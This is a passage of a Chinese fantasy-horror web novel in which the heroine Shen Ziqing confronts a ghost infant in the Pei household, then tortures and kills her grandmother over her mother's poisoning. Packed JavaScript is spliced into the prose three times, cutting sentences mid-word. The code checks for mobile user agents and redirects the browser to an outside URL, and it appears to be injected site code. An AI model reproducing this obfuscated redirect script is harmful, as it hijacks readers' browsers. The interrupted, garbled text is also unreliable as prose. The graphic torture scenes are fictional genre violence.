露种手里的帕子紧了松送了紧,在拐第三个弯的时候才迟钝地意识到不对劲,凑近道:“小姐,这不是去寿安堂的路!” 沈自清瞥了她一眼:“最心疼的小孙子躺在床上生死未卜,她哪还有心思呆在寿安堂?” 也对哈。 露种不好意思的挠了挠头,如果不是时间和空间都不允许,她已经蹲在墙角种蘑菇了。 沈自清的视线从领路的妇人身上淡淡扫过,她没说的是不止这不是去寿安堂的路,就连前面领路的嬷嬷恐怕都不是寿安堂的人。 脚步轻盈有力,一看就是习武之人。谢老夫人当年要是有这么一位侍女在身边,北境的日子也不至于苦成那个样子。 裴钰脖子上那块玉是件难得的法器,别的本事没有,只隐匿活人身上的“气”最是好用。 相传当年女娲大神捏土造人时是仿照神的模样造的人,而为了区分,便在人的双肩和头顶各点了簇火苗,也就是坊间说的三盏阳火。 其中两肩的火被称为魂灯和魄灯,是为了区分人与鬼,而头顶的命灯则是为了区分人与神。这三盏灯是人存活于世的唯一证据,鬼物也是靠着这几盏灯寻人的。 而这枚灵器将三盏灯隐去,鬼物找不到人,时日久了它们的神志会被慢慢磨平,变成没有思想的游魂,彻底迷失在世间,永无来日。 她要裴钰的命,玉佩的主人却要保他的命,玉佩碎裂的事,不止鬼婴知道了,那人也知道了,所以才会大半夜出现在裴府,不止让人来试探她,还...... 沈自清的脚底轻飘飘踩过一处极为不显眼的青石板,踩中的瞬间,在众人看不到的世界里,一直盘旋在整个裴府上空的巨大法阵微乎其微的停滞了一秒,后又无事发生般继续盘旋,自然的仿佛是法阵刚刚铺开灵力运转上不灵敏流畅一般。 果然。 沈自清的眼神冷如冰霜。 灵气鬼气相悖,幕后之人之所以布下锁灵阵,也是为了借助狂暴的灵气遏制鬼婴的生长,从而给他们争取更多救援时间。 可惜,鬼婴生长靠得不是鬼气,是执念和亲人的血肉。 这东西不仅困不住它们,还会让它们...... 更加暴躁。 * 拐过最后一个回廊,与自家破败的南院相比,长芦斋绝对算得上是庞然大物。 “九小姐,请吧。”领头的嬷嬷伸出手,做出“请”的收拾,双脚却牢牢钉在地面,明显是让沈自清两人自己进去。 沈自清颔首:“劳烦嬷嬷了。” 一只脚刚迈进院子,妇人尖锐的声音便从里面传出来:“......求老夫人救救钰哥儿,他好歹是您亲手看到大的!” 沈自清闻声望去,只见堂上坐着一位明显上了年纪的妇人,衣着华丽,花白的头发梳得一丝不苟,手边拄着一根精致的雕花拐杖,正是谢老夫人。 她脚边跪着的女人姿容貌美,身如弱柳,美眸含泪正苦苦哀求,想必就是她那“可怜”十三弟的生母,曾是长安城里一舞动京城的名人,梅春,梅姨娘。 “哎呦,老三家的这是什么话?”坐在右下第二位穿着蜜合色大袖衫的女人面容保养的极好,只不过眼尖唇薄,平白几分小气。 她优雅地翻了个白眼,毫不客气道:“老夫人可是亲自去给武司主递了牌子,当年松哥儿病成那个样子,老夫人也没想着去求求镇妖司啊。老三家的也别怪我说话难听,小十三平时但凡紧着点裤腰带,也不至于惹上这么个东西......” “二弟妹。” 坐在右下首的大夫人许氏见火候差不多,才不慌不忙出声训斥,二夫人这才不情不愿将后面的话咽了回去,临了时还不忘狠狠剜一眼梅姨娘,暗骂了声狐媚子。 许氏仿佛没听见,露出和往常别无二致的笑容,弧度精确到让人跳不出一点错处:“二弟妹说话没个准成,因为这事儿我和娘说过她不知道多少次了,但她人不坏,也是担心钰哥儿,梅姨娘莫要往心里去的好。” 说到这,又话锋一转:“但不是我说,这件事梅姨娘确实有失偏颇了,你好歹也是钰哥儿的生母,是进了我裴家族谱的人,遇事当要不慌不乱才好。况且事情一发生娘就向武大人那边递了牌子,你也是知道镇妖司和我们裴家人之间的关系,能做到这份上,娘是真真把钰哥儿放在心尖上疼着,你说的那些话未免寒了人心。” 好一招四两拨千斤。 不声不响把二夫人摘了出去,还给梅姨娘扣了个口不择言的锅,顺带讨好了把老夫人。 沈自清将视线第一次放在这个裴府的当家女主人身上,裴年记忆里对她的着色不算多,但也足以看出是个手腕狠辣的女人,北境十年里若是没有她,别说活到朝廷翻案了,恐怕还不等到北境,裴氏就要死绝了。 梅姨娘也不是傻子,自然也听得出这话里指桑骂槐,不,几乎可以算得上是指着她鼻子骂的话,气得又掉了两颗眼泪,刚要说些什么,一直不说话的谢老夫人开了口。 “来了不说话,反而偷听起长辈们的墙角,究竟是谁教给你的规矩!”手里的雕花拐杖狠狠敲了下地面,声音威严,眼睛死死盯着门外,显然不是对梅姨娘说的。 众人一惊,忙不迭的回头看去,只见阴影处,一道清瘦身影缓缓走出,又长又黑的头发束在脑后,露出异常素白的小脸,下巴尖尖的,皮肤白到几乎透明,比旁人更黑更圆的眸子静静地观察着众人。 比起人,更像是鬼。 除了沈自清,还能是谁? 老夫人冷哼一声,“下九流出身的娘没规矩也就算了,生出来的女儿竟也这般没规矩。” 这是能从一个长辈嘴里说出来的话?! 二夫人瞳孔微缩,下意识看了眼身边的大夫人,只见对方不动如山,神情没有丝毫变化,就连嘴角的弧度都与刚才别无二致。 她向来是以大夫人马首是瞻的,见对方如此模样,这才勉强压下心口的震惊,心中默念自己刚刚什么都没听到。 这两人淡定,梅姨娘可淡定不了一点,当即脸上的血色褪了个一干二净,唇色惨白,一股难以言喻的屈辱感席卷整个心头。 老夫人这话是什么意思? 她也是下九流出身,这话岂不是也在骂她? 梅姨娘立马想起当年自己刚进府时老太婆高高在上的模样,明明是个刚从鬼地方回来的罪臣,居然也有脸面对她甩脸子? 她以为她算个什么东西!要不是仗着生了个好儿子,想爬进长安城?做梦去吧! 心里恨得要死,面上却见不出分毫,依旧是那副柔弱无骨,苦苦哀求的模样,做足了慈母的身份,然而下一秒,沈自清的话就让她彻底破了功。 “祖母这话有失偏颇,梅姨娘虽出身低微,但对我和十三弟也称得上句掏心掏肺,如今十三弟还躺在床上生死未卜,祖母就当着人的面说人娘的不是.....” 话语在唇舌间缓缓踱了一遍,在梅姨娘青一阵白一阵脸色下,笑意盈盈吐出最后几个字。 “岂不是在逼着十三弟去死?” 哇塞。 二夫人的瞳孔再一次缩小,不止是她,就连表情一向不显人前的许氏都面露惊讶,虽只是一瞬间的睁大,但已经是难得的情绪波动了。 一时间,两人心中的想法出奇的一致。 这话是能说的出口的吗? 老夫人怒极:“你大胆!” 她猛地掷出手边尚且滚烫的茶盏,丝毫不担心沈自清会不会被烫伤,沈自清微微侧身,茶盏擦着她的身体摔在地上,啪的一声,茶盏四分五裂,茶水四溅,尚还冒着热气。 几乎是在同一时间,被屏风裹得严严实实的里屋忽然传来一阵撕心裂肺的咳嗽声,声音痛苦到几乎要将五脏六腑一并呕出来才好。 “不好了不好了!少爷吐血了!” “什么!” 众人大惊失色,其中当属老太太和梅姨娘最为焦急,尤其是梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591612|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨娘,几乎是连滚带爬的跑进了里屋。 或许是为母则刚,平时柔弱不能自理的她一把拉开巨大厚重的木质屏风,下一秒就被眼前的场景惊在了原地。 撕心裂肺的咳嗽声还在继续,隔着床边那扇巨大的丝制屏风,裴钰静悄悄的躺在床上,血液如小股小股的喷泉止不住的往外涌,脸上身上暗红一片。 “......咳咳...噗!” 最后一下,咳得太狠,血液直接喷溅到床边的屏风上,溅出星星点点的红梅。 梅姨娘死死攥着手里的屏风木框,指甲几乎要嵌进凹槽,撕裂的疼痛不断从指尖传来,她却浑然未觉,呆呆地望着床边,望着那面素色屏风。 怎么会? 那人明明说过不会这么快的!这才不过几个时辰,怎么就要吐血了?! 这一幕自然也落在紧跟过来的谢老夫人眼里,顿时,两只脚像是灌满了陈醋,软的厉害,如果不是手里攥着的拐杖,她几乎要瘫坐在地。 “钰儿,我的钰儿啊......” 眼泪像是断了伐的水泵,呼啦啦的从她浑浊的眼眶里流出来,屋内伺候的侍女纷纷跪地,死死垂着脑袋,眼观鼻鼻观心,恨不得把耳朵也一并缝起来。 陈氏已经被这一连串的事情惊讶到差点忘了自己是来干嘛的,精明的狐狸眼此时瞪得圆圆的,已经丧失语言系统。 明哲保身的许氏险些也没控制住表情,纤长的睫毛遮住眼底的神色,让人看不清。 沈自清神色不变,依旧是一副笑意盈盈的模样。倒是她身旁一直闷不吭声的露种却悄悄扫了眼众人,最终停在自家小姐身上,她莫名有种预感,这件事指定和自家小姐脱不开干洗。 但是。 那又怎样? 忽然,梅姨娘扭过头,目眦欲裂,面目狰狞,死死盯着不远处的沈自清,浓烈的恨意几乎要化为实质从她的眼眶里流出来。 “是你!都是你!” 她像是一头被彻底激怒的野兽,尖叫着扑向少女,因为弹琴特意留的尖锐指甲此刻是夺命的利器,几乎从喉咙最深处咆哮而出的恶毒诅咒! “都是你这个扫把星!刚出生就克死了你的祖父,后来克死了你的亲娘不说,如今还要来克死我的钰儿吗?你这个扫把星!丧门星!我杀了你!我杀了你!!!” 克死了祖父? 沈自清缓缓挑起一边眉毛。 裴靖那老东西不是在流放的第一年便死于风寒吗?消息传回京城的时候,她还颇感意外。 裴氏一族如日中天,她当年选择拿裴氏开刀的很大一部分原因就是裴靖本人实在蠢笨,那么大一个把柄落在她的手里,被全族流放都算是轻的。 没成想这老匹夫竟这般不中用,还没到地方,就死在半路。 况且她要没记错,裴年是流放的第二年,也就是连平二年夏天出生的,这算哪门子的克死? 沈自清随手一抓,却指如铁箍死死扣住对方的手腕,疼的梅姨娘忍不住尖叫,她又一个巧劲将人甩到了离她最近的椅子上,唇瓣轻勾,眼底却凉的刺骨。 “梅姨娘这话,阿年听不太懂。” “贱人!贱人!!!” 梅姨娘的胸口迅速起伏,指着沈自清的手指都在剧烈颤抖,大口喘着气,起到几乎说不出活,只能骂着没什么营养的词汇。 就在这时,一道轻巧的脚步声从门外传来,男人低沉的声音划破黑夜,强势钻进屋内每一个人的耳朵里。 “看来我来的时机不太对。” 木轮的咕噜声慢悠悠地印在光滑的青石路上,黑暗中,一道身影缓缓出现在众人眼前。男人衣着华贵,天气早已入春,身上却还披着件厚重的玄色大氅,领边围着的狐狸毛纯白如雪,没有丝毫杂色。 见过罂粟吗? 妖艳罪恶,形如艳鬼。 眼前的男人就像成精的罂粟,他懒散地靠在椅背上,昳丽的凤眸漫不经心地扫过众人,定格在正堂最中间的妇人身上,意味不明。 “好久不见,谢老夫人风采依旧啊。” 5. 裴府疑云5 如果把沈自清这辈子最不想见到的人列个表,那镇妖司那群疯狗绝对榜上有名,甚至稳居第一。 其中最疯的有两条,一条叫武念月,一条叫薛靖贞。 好死不死,眼前这人正是薛靖贞! 一条,比武念月还疯的疯狗。 沈自清暗骂了声倒霉。 如果硬要比,她宁愿来的是武念月。 显而易见,不想见到薛靖贞的不只有她,还有谢老夫人。从对方进门开始,她的眉头就没松开过,尤其是听完对方那阴阳怪气的问候,不仅眉毛没解开,脸也跟着黑下去。 不知道的还以为把锅灰涂脸上,防鬼呢。 即使心里有天大的不愿,老太君也只得扯出一个略显僵硬的、热情的笑容,一边派人上茶,一边问道“不知薛大人深夜来我裴府,所谓何事?” 话里话外绝口不提裴钰的事情,沈自清便知道鬼婴的事情薛长夷不知道,或者说,只有武念月知道。 她眸色微深,在立刻离开和留下看戏之间挣扎了不过一秒,就选了后者。 各家都摩拳擦掌准备上场了,此时离开,岂不平白堕人兴致? 她可不是个扫兴的人。 而听到这话的薛靖贞眉眼微抬,突然也笑了。他本就生了副多情的美人面,不笑还好,一笑便如那民间话本子里成了精的妖精,专门勾人魂魄的。 “谢老夫人贵人多忘事,想必是忘了前不久刚才向镇妖司递了牌子,武司主不在,只好我亲自来了。” 苍白到几乎透明的指尖轻扣着扶手,他的笑容也越来越大,像是一条闻到腥味的猫,“没成想,裴府准备了份这么大的礼物。” 最后一个字落下的瞬间,连着里屋的层层纱帐无风自动,像是有无数只无形的手同时掀开了那些厚重的蚊帐。 不知何时,原本干净的地面上竟凭空出现了一排血脚印! 脚印小小的,只有四个脚趾,此时还在动,一步一步朝着床榻那边爬去。 与床榻的距离越近,那个鬼东西的身形越凝实,像人类婴孩那样手脚并用爬到裴钰身上的时候,它已经从最开始的一片虚无凝成了一个人类婴孩的模样。 不。 比起人的皮肤,它的皮肤是可怕的青紫色,是和活生生被憋死的小孩一样的青紫色。 而在那层薄薄的皮肤下是数不清的黑色脉络,一条盖着另一条,层层叠叠拥挤在薄到几乎透明的皮层下,随着主人的动作,一呼一吸。 嘻嘻~ 嘻嘻嘻嘻嘻嘻i嘻嘻i嘻嘻i嘻嘻嘻i嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻—— 陈氏的瞳孔迅速缩小成针尖大的黑点,尖叫声冲破喉咙的刹那,一只手捂住了她的嘴巴。 她眼珠一转,是许氏。 她的脸色是同样的惨白,那双无论遇到什么都平静到像一口枯井的眼睛第一次露出恐惧,但即使如此她依旧死死盯着里屋,强迫自己放轻呼吸,不让地方注意到自己。 不止是她,应该说在场所有还在喘气的活人不约而同地放轻呼吸,即使一个个腿软地像是煮过劲的面条。 除了薛靖贞,他好整以暇地靠在轮椅上,手指有一搭没一搭瞧着木纹扶手,嘴角带着浅浅笑意,察觉到有人看他,他微微偏头,食指竖在唇上。 噤声哦。 否则...... 会死的。 陈氏这时候也跟着冷静下来,学着对方的模样,放缓呼吸,哪怕胸膛下的心脏几乎要从她的喉咙里跳出来! 然而,意外还是发生了。 刚刚被派去上茶的侍女无知无觉地端着热茶进来,一只脚刚卖进门槛就看到屋里的主子们死死捂着嘴巴,见她进来拼命冲她摇头,侍女不明所以,按道理说她应该放下茶碗便退出去,但莫名的,一股不知道从哪来的冲动让她转过了头。 然后,她看到了此生最难忘的一幕! “咔嚓!” “啊啊啊啊啊啊啊啊啊啊啊啊——” 与茶碗一起摔碎的,是侍女尖锐到几乎撕裂所有人耳膜的尖叫声! 完了。 所有人脑子里只剩下这一个想法,陈氏不知道哪里来的胆子,颤颤巍巍地抬起眼,照进一双漆黑的、没有任何眼白的眼眶,见她看过来,鲜红松垮的嘴角直接开心地咧到耳根,露出里面腥臭腐烂的牙龈,和冒着寒光的尖牙! 这一刻,她的脑中诡异地只剩下空白,死寂的空白。 脸上的最后一丝血色无情褪去,猩红的血丝急不可耐地爬遍这个眼眶,瞳孔急剧缩小,目眦欲裂。 她想尖叫,但对于此时动都动不了的她来说,这个举动,太奢望了。 “结阵。”薛靖贞沉声道。 话音刚落,身后众人整齐划一捏诀起阵,砰得一声,一道繁复的金色法阵宛如巨大的罗盘一盘横亘在空中,分为上中下三道,上启天意,下沉地鸣,唯独最中间的那道将鬼婴牢牢困在中间。 无数道足有人大腿粗的金色锁链裹挟着繁复还在跳动的符文,又急又快地朝着最中间仰头尖叫的鬼婴飞掠而去! “啊啊啊啊啊啊阿——” 汹涌的鬼啸声从鬼婴的喉咙钻出,它痛苦地仰起头,其中一道锁链正好锁在它的喉咙上,无数道金色符文像有生命般迅速在他身上攀爬起来,一道道不详浓厚的黑气顺着这些锁链的缝隙溢散到空气中。 天罗地网灭鬼阵需要庞大的灵力不间断地输送,否则便是功亏一篑,镇妖司的人显然知道这个道理,一个个面色惨白,强忍着灵力被强硬从体内抽走,捏诀的手指都在颤抖。 快了。 再坚持下......再坚持下。 不知何时躲在帘子后的沈自清将这一切映在眼底,眼中情绪迅速翻滚又快速掩盖在平静的水面之下。 真的,快了吗? 咔嚓。 一道清晰的碎裂声精准地响在所有人的耳畔,惊得面面相觑。 什么声音? 咔嚓咔嚓咔嚓咔嚓—— 下一秒,更多的更连续的碎裂声连续炸开,一道道裂纹不知何时充斥着法阵的每一个角落,密集地像是一张张粘在一起的蜘蛛网,又像是冬日里被踩裂的冰面。 被踩碎的冰面会面临什么? 薛靖贞面色突变:“闪开!” 太晚了。 与薛靖贞声音一起响起的,是法阵彻底碎裂的声音!尖锐的鬼啸声再次充斥整个房间,但这一次,是独属于野兽出笼的激动咆哮,也是即将大快朵颐的兴奋呐喊。 鬼婴缓缓直起身,皮肤下的黑色经络跳动地更加迅猛,它缓缓抬头,露出一双与刚刚截然不同的眼睛。 它之前的眼眶只有浓墨般的深深怨气,经常能看到缕缕漆黑的怨气溢出眼眶。但现在,它长出了如人类般的眼白,可是顺序却被完全颠倒。 中间的是诡异的眼白,两侧是浓重的黑色。 而在漆黑中,无数个细小瞳仁迅速转动,发出窸窸窣窣的声音,尖锐的獠牙伸出唇外,坠在肚皮上的腥臭脐带疯了般壮大分裂,像是八爪鱼一样迅猛朝着在场众人袭来! “你们......死......死!” 梅姨娘是第一个崩溃的,她像是疯了一样往外跑,刚迈出两步,噗嗤一声,一条脐带精准贯穿了她的心脏。 抽出脐带,一个血糊糊的大洞出现在刚刚的位置,梅姨娘直直倒在地上,没了声息。 这下,所有人都崩溃了。 镇妖司众人面色惨白地看着这一切,垂在身侧的手指还在痉挛颤抖,刚刚的天罗地网灭鬼阵已经掏空了全部的灵力,现在的他们,与凡人无异。 怎么办? 难不成真要死在这了? 就在这时,从鬼婴二次进化后一直没说话的薛靖贞右手往虚空中一探,一把紧闭着的红伞凭空出现,他反手握着伞柄,朝着地面猛地一戳,叮,一道泛着水波纹的发展以他为原点,朝着镇妖司的所有人无形展开。 是传送阵。 有人有些不忍心,颤颤巍巍开口:“大人,那他们......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591613|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛靖贞冷淡的目光斜斜扫来,直接把他那些未说出口的话全部噎了回去。 身旁比他早进来很多年的老油条一把拉住他的手腕,打着哈哈:“大人你别介意,他说话向来不经大脑,还望您千万别忘心里去。” 薛靖贞长眉轻佻,目光越过老油条直指身后说话的人:“你若想留下来,本座自不会拦你。” 老油条抢先一步道:“没有没有,他脑子抽风随便说的,随便说的。” 见薛靖贞将目光收回,他才狠狠掐了把那人的胳膊,疼的人龇牙咧嘴才悄声骂道:“你是不是疯了?想死别拉着随访一起!再有下一次,我绝对不帮你!” 说完又瞪了他一眼,才松开他。 小孩消失前的最后一秒,隔着阵法翻涌上来的磅礴灵力,不忍地最后看了眼这群人,下一秒,彻底消失在原地。 看到这一幕的露种下意识抓紧沈自清的衣角:“小姐,小姐他们走了,我们怎么办......” 她欲哭无泪,湿漉漉的眼睛里都是绝望。 沈自清也笑了。 气笑的。 薛靖贞这个打不过就跑的毛病到底是从哪学的?学艺不精把人鬼物惹毛就算了,打不过就跑,留这一帮老弱病残等死又是几个意思? 若今日在场的都是些手无缚鸡之力的普通人呢?活该等死吗? 她越生气脸上就越平静,没有回答露种,只是抬手轻轻将她鬓边的头发捋到耳后,“睡一觉醒过来,一切都好了。” 露种疑惑,刚要说什么,意识忽然开始模糊不清,迅速坠入黑暗。沈自清将她藏在帘子后,想了想,打了个响指,一道无形的水波结界凝在她身前,像倒扣的碗一样将她牢牢护在下面。 鬼婴注意到了这个人,歪了歪脑袋,嘴角残忍地咧开,下一秒,它操纵着自己的脐带猛地冲向沈自清的后背,在空中分成无数道,食人花般竟是想要将她整个人都吞并下去。 砰! 飞得最快的两根脐带在即将触碰到她时炸成血雾,她缓缓侧过身,在鬼婴又惊又惧的无数个瞳仁里,浓厚磅礴到几乎灼目的白色灵光不要钱地从体内溢出,比发丝还要细上两分的灵力凌厉划开鬼婴的狰狞的脐带。 血雾汹涌间,无奈的声音轻轻落下,带着两分苦恼。 “畜生就是畜生,连恩人都敢动手。” 少女伸手,似乎只是随手一捏,掐住的却是鬼婴的脖子,手指寸寸收紧,鬼婴不断挣扎,眼中是与人类别无二致的恐惧和求饶,喉咙里止不住的溢出细细的哭泣声好一些不成调的哼哼声。 沈自清歪头:“你说你错了?” 见她听得懂,鬼婴像是抓到救命稻草一样拼命点头,嘴角还没来得及上扬,就僵在原地。 “不可以哦。”她笑着摇头:“不听话的畜生,我是不会留的。” 啊啊啊啊啊啊啊啊啊—— 啪嗒。 * 一早就躲在红木箱子里的谢老夫人紧紧捂着嘴巴,一片漆黑中睫毛都不敢动一下,可左胸下的心脏却跳的一下比一下厉害,她想让它不要再挑了,可愈是如此,跳的愈发厉害。 没有声音了。 她努力忽略掉愈发急促的心跳声,细细听着箱子外,好一会才确定却是是没声了,老夫人咽了咽口水,手指颤抖地摸上木板,微微用力,一道细细的缝出现在漆黑的世界。 老夫人小心翼翼瞄了一眼,很安静。 直到此时心口的大石头终于落地,手上用力猛地推开箱子,新鲜的空气争先恐后涌进来,她盘坐在箱子里,大口大口喘着粗气,发丝黏在一起,说不出的狼狈。 头顶忽然罩下一片阴影,含笑的声音轻飘飘落下。 “居然躲在箱子里吗?” 全身顿时僵在原地,她像是僵硬的木偶,缓缓看向声音的来源,脸上还带着劫后余生的喜悦,猛不丁僵在一处,说不出的奇怪。 幽幽烛火下,是一双与记忆中的女人如出一辙的眼睛。 “祖母。” 6. 裴府疑云6 “阿、阿年。” 谢老夫人嘴角动了动,似乎是想要露出一个和蔼的笑容,可惜平日里对裴年总是一副横眉冷对千夫指的死人脸,牢固的肌肉记忆就像是两块固执的鱼胶,提不了一点。 笑是笑不出来了,谢老夫人只好顾左右而言他的打着哈哈:“你、你也没死啊哈哈,哈哈哈哈哈哈。” 这实在不是一个好的开场白。 如果放在平时沈自清可能还会陪她来上两轮,可惜,她现在没有那么多的闲心,不等谢老夫人继续寒暄,一柄未出鞘的长刀抵在她脖颈处,轻轻一抖,刀鞘顺势滑落,取而代之的是一柄泛着寒光的刀刃。 “阿年有一个困扰许久的问题,不知祖母可否为阿年解惑。”少女的声音轻柔和缓,如果忽略抵在她脖子上的长刀,谢老夫人会觉得她还是当初那个毛都没长齐就敢龇牙咧嘴的小崽子。 “可、可以。” “周嬷嬷是你派来的?” “不......啊!”谢老夫人第二个音节还没吐出去,长刀从天而降狠狠穿过她的手掌,鲜血四溅,沈自清不可免俗溅上了两滴。 猩红的血珠顺着脸庞缓缓滑落,留下一道淡淡的血痕。 她微微歪头,“撒谎。” “若祖母还不说实话,下一刀,孙女也不知道会刺在哪里。”她拔出长刀,刀刃卷出皮肉,又是一声惨叫,沈自清仿佛听不到。 锋利的刀尖慢条斯理地划过她身体的每一寸,“是这里,这里......” 最终定在起伏跳动地左胸,微微用力,“还是这里呢?” “是我派去的,是我派去的!”谢老夫人受不了这种软刀子,崩溃大哭:“但就算是我派去的又怎么样?没错,我是想杀你,但你不是没死吗?!况且我杀你你就没有错吗?你要知道要不是我当年允许你母亲进府,会有你的出生吗?北境的日子那么苦,夭折的孩子不计其数,如果我真想让你死,你还会活到今天吗?你娘死了这么多年,如果我真想让你死,你早就被后宅磋磨没了,还能站在我面前质问我?!” 她越说越来劲,越说越觉得自己没有错,甚至说到最后还深觉是自己委屈,吼出来的话也带着埋怨和控诉,好像十恶不赦的人不是她,是面前这个才十七岁的女孩。 沈自清反问:“所以我还要感谢祖母不杀之恩了?” 她嘴角笑意不减反增,眼睛却更加浓稠漆黑,隐隐可以见到其中卷着异常可怖的风暴。 在场如果有认识沈自清的人就会清楚,这个模样的她怒气已经攀升到了极点。 “自然!” 见她没有反驳这些话,谢老夫人的硬板也硬了起来,刚刚还怯懦的眉眼瞬间又恢复了平日的倨傲,是啊,就算她是想杀了裴年又怎么样!天王老子来了她也是裴年的亲祖母,只要她活着一日,裴年就被孝道压着一日。 大周以孝治国,裴年活着一天,就得敬她这个祖母一天!别说她没死,就是她真的,怨天怨地也怨不得自己身上! “那我母亲是怎么死的?” 谢老夫人哽住。 她目光闪烁,看天看地就是不敢看沈自清,说话也变得支支吾吾:“你娘不是病死的吗?她、她死的时候你也是知道的,作甚要来问我?” 沈自清轻叹了口气,“看样子刚刚我说的话祖母全当耳旁风,一个字都没记住呢。” 手起刀落,这一次是大腿。 伴随着噗嗤声一起的,是谢老夫人痛苦至极的声音,不知道是不是心里作用,这一次比起刚刚的那一刀更狠更痛,痛的她恨不得一头昏死过去才好,刀刃在皮肉中搅弄,疼痛愈发剧烈,头脑却愈发清醒。 她求饶着大叫:“我说,我说!是......是被我下、下毒......毒死的。”说好这她又忽然大叫:“但是,但是这件事情她是知道的!她懂药!她当时接过药碗的时候就知道了,是她自己喝下去的,不是我逼她的!不是我逼她的啊!是她自己,是你娘自己不想活了——” “她的尸骨葬在何处?” “在、在后院那口枯井里。” 见沈自清皱眉,她又忙道:“这事儿不是我做的,你娘死后我也本想让她入土为安,棺椁都打好了,谁成想梅姨娘不懂事,趁人不备把你娘的尸身投井了。” 她的声音越来越小,到最后几不可闻:“我们发现的时候,一切都晚了,井口还被石头封了起来,没办法,我们就......” 就将错就错了。 刀尖再次回到最开始的地方,在沈自清似笑非笑的声音下寸寸收紧:“好歹也是被你们裴家八抬大轿抬回去的三少奶奶,到头来来个敛尸的人都没有,九死一生生下来的女儿还要被人磋磨致死。” “换做是你,你恨不恨?” 脖颈剑的刀刃又凉又薄,冰的她全身的血液都要倒流,谢老夫人的脑子前所未有的清明,也因此,她知道眼前这个狗崽子是真的动了杀心! 她下意识往后缩,老态龙钟的脸上写满了“恐惧”二字,疯狂摇头:“不、你不能杀我,我是你祖母,亲生祖母!杀了我你也会下地狱,也会不得好死的!” 像是想起什么一样,跪扑到沈自清的小腿,一把抓住她的衣角,苦求道:“阿年,不,小九。小九我求你,祖母求求你放了祖母吧,祖母保证以后一定好好待你,给你许配个好人家,给你准备特别特别丰厚的嫁妆,谁都越不过你去。” “你可是祖母的亲孙女,以前是祖母被猪油蒙了心,对你有误会才会那样的。”她指着不远处死不瞑目的梅姨娘几人,“是她们!都是她们总在我耳边挑拨,我才会误会你的!但祖母现在清醒了,祖母以后一定好好对你,求求你,求求你放过祖母好不好......” 沈自清垂眸,看着这张痛哭流涕,毫无记忆中高高在上嘴脸的人,一字一句道:“不好。” 手中的长刀狠狠一划,鲜血四溅,得意了大半辈子的谢老夫人瞬间瞪圆眼睛,张了张嘴,直直向后倒去。 啪嗒。 燃尽的香烛心炸开朵小花,彻底熄灭。 黑暗中只有弥漫的浓重血腥气,沈自清持剑站在其中,却莫名安心,不知从何处而来的一缕清风细细扫过她略带疲意的眉眼,抚过她苍白的面庞。 很轻,很温柔。 像是记忆中那只温暖干燥的手一样。 沈自清反手一掷,长刀长眼睛般精准插入刀架,又从衣襟内扯出一块干净的帕子,仔仔细细将手上和脸上的血渍擦干净,这才舒心了许多。 烧了帕子,抱起昏迷的露种,一脚踢开紧闭的房门。 不知为何,今夜天色尤为的黑,往日还能看见一个半个的月亮此时被层层叠叠的厚重乌云遮了个严严实实,院内静悄悄的,只有树叶发出的簌簌声。 一阵阴风吹过,屋檐下挂着的灯笼齐刷刷没了光亮,世界彻底寂静,无声无色。 沈自清如履平地。 “带我去寻你母亲吧。” “裴年。” * 谢老夫人还是说保守了,哪里是拿石头填平?分明是直接推平放假山了好吗! 沈自清站在荷花池那块巨大的假山前,露出一个皮笑肉不笑的模样。 老太婆还是死得太轻了,应该直接赏三千六百刀凌迟之刑的! 将露种放好后,看着这座“巍峨”的假山,沈自清叹了一声,手掌覆上,闭眼凝神,下一秒,刚刚还沉重非数十人之力挪不动一点的石头,此刻像是一块模样逼真的模型,轻飘飘推开数丈远。 尘土飞扬间,一口古旧干涸的古井显露人前,井壁的石头缝里长出许许多多的杂草,互相交织,牢牢覆盖在井口最上面,伶仃一看,还以为是个柔软的草垛子。 草绿盎然间,石壁缝间露出的一抹黑红格外显眼。 符咒? 沈自清伸手想抽出来,发现根本扯不动,那东西像是与石壁合为一体一样,别说扯出来,如果不是年久失修露出这一角,还以为二者本身就是一起的。 沈自清冷笑一声:“旁门左道。” 两根食指一个用力,竟活生生将其撕了下来! 竟是一纸黑符。 自六百年前张天师于太华山开山立派,天师一道便多了许许多多的年轻人,其中也不泛天资异秉的绝世天才,相继于各方成门传法。而到了大周一朝,天师已不是个只存在传说中的神奇职业,沈自清成立镇妖司以后,更是显于人前。 有多显露人前? 长安城有一条街,往里面扔一块砖,被砸中的天师能成立个戏班子。 但也因为天师太多,质量良莠不齐的同时,荷包也良莠不齐。除了沈自清这种能虚空画符的大佬,或者是用隐玉这种价比千金的狗大户,大部分人用的都是桐油刷过的黄符。 无论是用哪种方法,基本原理都是借天地灵气,再高级点就是上秉天意,请神之力。 而这种黑色的符纸则不同,通常被称为凶符,是用人死后久久不散的怨气捣进符纸,这种方法做出的符纸所借用的灵力会更多更强大,同样,代价也会更大,受到反噬的可能性也就越高。 使用者基本都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 